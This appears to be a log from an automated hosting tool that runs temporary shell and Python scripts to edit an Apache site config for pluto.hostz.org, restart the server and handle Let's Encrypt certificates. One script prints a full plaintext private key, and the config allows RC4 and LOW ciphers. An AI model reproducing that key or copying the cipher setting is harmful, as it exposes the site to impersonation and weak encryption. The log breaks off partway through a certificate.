chmod 755 /tmp/pkp220246; /tmp/pkp220246; rm /tmp/pkp220246

2026-06-25 06:00:18: 


dir=/etc/ssl/certs


2026-06-25 06:00:18: 

PUT: /tmp/pkp575751

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_pluto_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-25 06:00:18: 

chmod 755 /tmp/pkp575751; /tmp/pkp575751; rm /tmp/pkp575751

2026-06-25 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_pluto_org.conf 39
<VirtualHost *:80>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/pluto_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py

    RewriteEngine       On
    RewriteCond %{REQUEST_METHOD} !POST
    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
#    ProxyRequests	off
#    ProxyVia	on
#    ProxyPass /.well-known !
#    ProxyPass	/ http://pluto.hostz.org/
#    ProxyPassReverse	/ http://pluto.hostz.org/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/68fedc5efe490e129eb9aeeb5aa22807.crt
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/pluto_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnvIf X-Forwarded-Proto "https" HTTPS=on
    ProxyRequests	off
    ProxyVia	on
    ProxyPass /.well-known !
    ProxyPass	/ http://pluto.hostz.org/
    ProxyPassReverse	/ http://pluto.hostz.org/
</VirtualHost>






2026-06-25 06:00:19: 

PUT: /tmp/pkp979394

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_pluto_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_pluto_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/pluto_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    #    ProxyRequests	off
#    ProxyVia	on
#    ProxyPass /.well-known !
#    ProxyPass	/ http://pluto.hostz.org/
#    ProxyPassReverse	/ http://pluto.hostz.org/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/68fedc5efe490e129eb9aeeb5aa22807.crt
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/pluto_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnvIf	X-Forwarded-Proto "https" HTTPS=on
    ProxyRequests	off
    ProxyVia	on
    ProxyPass	/.well-known !
    ProxyPass	/ http://pluto.hostz.org/
    ProxyPassReverse	/ http://pluto.hostz.org/
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_pluto_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_pluto_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_pluto_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_pluto_org.conf= 1'
fi


2026-06-25 06:00:19: 

chmod 755 /tmp/pkp979394; /tmp/pkp979394; rm /tmp/pkp979394

2026-06-25 06:00:19: 




2026-06-25 06:00:19: 

PUT: /tmp/pkp953136

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-25 06:00:20: 

chmod 755 /tmp/pkp953136; /tmp/pkp953136; rm /tmp/pkp953136

2026-06-25 06:00:20: 


.


2026-06-25 06:00:20: Establishing a connection
2026-06-25 06:00:21: 

PUT: /tmp/pkp630813

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-25 06:00:22: 

chmod 755 /tmp/pkp630813; /tmp/pkp630813; rm /tmp/pkp630813

2026-06-25 06:00:22: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:30)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:25)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-06-25 06:00:22: 

PUT: /tmp/pkp103087

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_pluto_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-25 06:00:22: 

chmod 755 /tmp/pkp103087; /tmp/pkp103087; rm /tmp/pkp103087

2026-06-25 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_pluto_org.conf	1725
<VirtualHost *:80>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/pluto_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    #    ProxyRequests	off
#    ProxyVia	on
#    ProxyPass /.well-known !
#    ProxyPass	/ http://pluto.hostz.org/
#    ProxyPassReverse	/ http://pluto.hostz.org/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/68fedc5efe490e129eb9aeeb5aa22807.crt
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/pluto_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnvIf	X-Forwarded-Proto "https" HTTPS=on
    ProxyRequests	off
    ProxyVia	on
    ProxyPass	/.well-known !
    ProxyPass	/ http://pluto.hostz.org/
    ProxyPassReverse	/ http://pluto.hostz.org/
</VirtualHost>







2026-06-25 06:00:23: 

PUT: /tmp/pkp539365

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/68fedc5efe490e129eb9aeeb5aa22807.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-25 06:00:23: 

chmod 755 /tmp/pkp539365; /tmp/pkp539365; rm /tmp/pkp539365

2026-06-25 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/68fedc5efe490e129eb9aeeb5aa22807.crt	7420
34:b5:ae:05:ec:a3:bc:6c:f5:cd:9d:88:6c:90:02:10

-----BEGIN CERTIFICATE-----
MIIE+DCCA+CgAwIBAgISBfXmp4mw44KggmXrIuIT4NPEMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjI1MDUwMTQzWhcNMjYwOTIzMDUwMTQyWjAaMRgwFgYDVQQD
Ew9wbHV0by5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCyLLzwm2RJE/wyFUUgrAe9bdsY7iaPf/IjTyzE25mHlR4D3o0t/ecn6jaDw86u
eNwkIgTWDu7AFd3tFiur0ygF/KBVAkwNBb4iSqn8WLVfcbZBC9l9jV4cYK4zF0PA
nKhlK28wBviNwGesUa8df1hghef6ixRBFyVrs/uXabF1JGFq5apZKjQ6wZb8Ag9Z
iiTM9Gbblr/mV11Nv8TcunxvRTmfyol2/oDrzmEUSxl3wpz9gW52ssh1phjdAJ+4
QXv0jocd+HpmjwP8jiquNBKU/wBCIZ1b1gys1gLCNtBi6DKsVjRB/7FpV3XjVlsB
0pnyCGKCQe0dKF64rwBndFQTAgMBAAGjggIdMIICGTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUgkha
co0kUGW7ojwl8Zmijccfq1kwHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EM
gQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVu
Y3Iub3JnLzAaBgNVHREEEzARgg9wbHV0by5ob3N0ei5vcmcwEwYDVR0gBAwwCjAI
BgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9y
Zy82OS5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDCMX5XRRmjRe5/ON6y
kEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ79XVlbAAAEAwBHMEUCIQCf00w4CE8aV5YL
gQlUvWrZ5WPTWW6QnGOxriVICWqyIQIgNICiMzjfuttxmrJqPQvBXSh25AsU0lLZ
3mzTKU0vSHIAfgBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ79
XVnLAAgAAAUACrSiaAQDAEcwRQIgHMgV+XD6bL7JoG6ujCpkORWe4U+1nTTrUAau
5gTJvFgCIQDuRs3D8xDCWE1DVVmaX3I7n5Qg8682woM5yPUda5+UAjANBgkqhkiG
9w0BAQsFAAOCAQEADqRSIfG2E9M0/rT4xmBj7D3FFQza2FdSUZNIxD7sj3vtOvA8
NmltKXFX8wfr79D4JFuVsvYdB5FuPoGdKv0QDRR8GdfQ/WNJScZwae1iWJZWNjgF
1CUhfJCxgmu2jcsoKwdlJUBtryIMe1e8dK8PTUfZ1ytZUyVg/I+zG8g4WaPTosZz
sfjOf451z1FymMXdvTTpPQVYyWpACG5xRMVnxoaRqcf8IRFdBexpEydDMumAav1d
pt7EiQx/8wW8yJV6gqfJCX8pwdJ1jnPf/aed+xu9CTua9VhySRwiL+OOVOynj+6t
n0UiMD4ITzLbwLF9LkKqNicnDKqLVCOwR9ar0g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCyLLzwm2RJE/wy
FUUgrAe9bdsY7iaPf/IjTyzE25mHlR4D3o0t/ecn6jaDw86ueNwkIgTWDu7AFd3t
Fiur0ygF/KBVAkwNBb4iSqn8WLVfcbZBC9l9jV4cYK4zF0PAnKhlK28wBviNwGes
Ua8df1hghef6ixRBFyVrs/uXabF1JGFq5apZKjQ6wZb8Ag9ZiiTM9Gbblr/mV11N
v8TcunxvRTmfyol2/oDrzmEUSxl3wpz9gW52ssh1phjdAJ+4QXv0jocd+HpmjwP8
jiquNBKU/wBCIZ1b1gys1gLCNtBi6DKsVjRB/7FpV3XjVlsB0pnyCGKCQe0dKF64
rwBndFQTAgMBAAECggEAAyRR7ID7gXIS9RFXvaPvKg8NajNdTRPQbZvB8QAZmWyk
tSSaEkAMi9mq2W2AbJjuGr7MnYGZvvoRNdmsGkL1gwHvf9mEzzfEXUNVNoFmRBtO
ndXPho59fG6r5+0Z9zMlQwn5OGgkHVK9ibDpr5TebFPWDu9p6Hec8TxkVlaUL6W6
pX7Mm7aJCrmKBF0h+9i/Hfrz0a0BXPsJlIk+X65RVOetzoPjxOBCzUhdzNHG+4it
q/IrsYDt7POxJjPY4dZilxMLr6acATQ2EdgHQrOueLiIHtiqpzodU8ejYP7ytOWi
eROGGkKSqnPaxKPwmuEr8ICwQlK9LDfdjJDina3uFQKBgQDzTr9RMNYY6HqKaVFc
XAjVu4WsqHP9JyGtOkhJ7l8e8fJcu+tY60Rg03DOssq0U9FOEU9mF08XQ09fSHsu
wEjKrXrx7789PxTY20gbzZsZX6n0X5jUKUBzM6DGruYVEiPr3NALmNpeeXhJT7Yw
H3upb2rhlLC292whplyQDvZA3wKBgQC7eCx7MWQC4pLCxTu5b7SRwNkwMziovTJ/
TWLjIy6EOTdIk0J0XW9D2t/OeeplGEP7iLdHyBsMt04+dl3IRTFzzDJc3wp5wfTO
VJ17gq45Y4kgeOw9/aDxeA+12hpMUn4OBqRkOiqymS13ldFuJLjqCq5bWsnCDUc2
KVD1bGJPTQKBgQCK39TFo+lgODnRjQGahRGp5SoMfe4Ofepz9MNUJ5H1mMXsdnqD
u23BEo7d/CFFQl5CgBDgxccoEQxZ54YgDjK+NLzrIRv3+myMxsTm0bmIhxj72iDi
YFVgLATFwwii2ELWmqfJJsrlh9HHjo7/8shj0quf7H3dQWZf4pQMye124wKBgQCh
uY1eBYDKwF1taysX0RcMOjrjSvzRDM64ZbEuU5Z4eMeJc4h7zHMFLZevjxs3dVSI
dSvv39/9+1CjsAc9kvuTcw/rcHqgCUPAj9x/xX+5gHW2rrrWy6uBRFsBPZM8Tlny
jaZZ1JgrFNvVc0iF5WYkeWxq4Qp2vm+1eLUf1A2HbQKBgQCekaa12B785lgCeV7r
U68eQ3UpuySxvs0BSin4GdUCptiiEW4tuXf4j6bLHsv8Z5I83k8TeLqmc1acdivz
n7Mhms2muZBKwjC/4irP/xtV+6s+giwtcKe+epS+H/yxXLP37GksCb1TDMYcbQlS
w+6S9GmMj1fo1puzK8cGZ2uIXg==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-25 06:00:23: Establishing a connection
2026-06-25 06:00:24: Establishing a connection
2026-06-25 06:00:24: 

PUT: /tmp/pkp744175

#!/bin/bash
if [ -d "/var/www/hostz_jupiter/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-25 06:00:30: 

chmod 755 /tmp/pkp744175; /tmp/pkp744175; rm /tmp/pkp744175

2026-06-25 06:00:30: 


1


2026-06-25 06:00:30: Establishing a connection
2026-06-25 06:00:30: 

PUT: /tmp/pkp693307

#!/bin/bash
mkdir -p "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cd "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cat > 3M01XbpGOBkvZXMnml8uF7m697474lLrIDcGS_F5a9k <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3M01XbpGOBkvZXMnml8uF7m697474lLrIDcGS_F5a9k.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3M01XbpGOBkvZXMnml8uF7m697474lLrIDcGS_F5a9k


2026-06-25 06:00:30: 

chmod 755 /tmp/pkp693307; /tmp/pkp693307; rm /tmp/pkp693307

2026-06-25 06:00:31: 




2026-06-25 06:00:37: Establishing a connection
2026-06-25 06:00:37: 

PUT: /tmp/pkp445728

#!/bin/bash
mkdir -p "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cd "/var/www/hostz_jupiter/.well-known/acme-challenge/"
rm 3M01XbpGOBkvZXMnml8uF7m697474lLrIDcGS_F5a9k


2026-06-25 06:00:37: 

chmod 755 /tmp/pkp445728; /tmp/pkp445728; rm /tmp/pkp445728

2026-06-25 06:00:37: 




2026-06-25 06:00:37: Establishing a connection
2026-06-25 06:00:37: 

PUT: /tmp/pkp839393

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
b4:f1:46:1a:ba:96:4d:1c:bf:8f:19:36:f0:a5:ad:cc

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBVCsmAqlZQttMZtBmV/kixiWMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI1MDUwMjA2WhcNMjYwOTIzMDUwMjA1WjAcMRowGAYDVQQD
ExFqdXBpdGVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
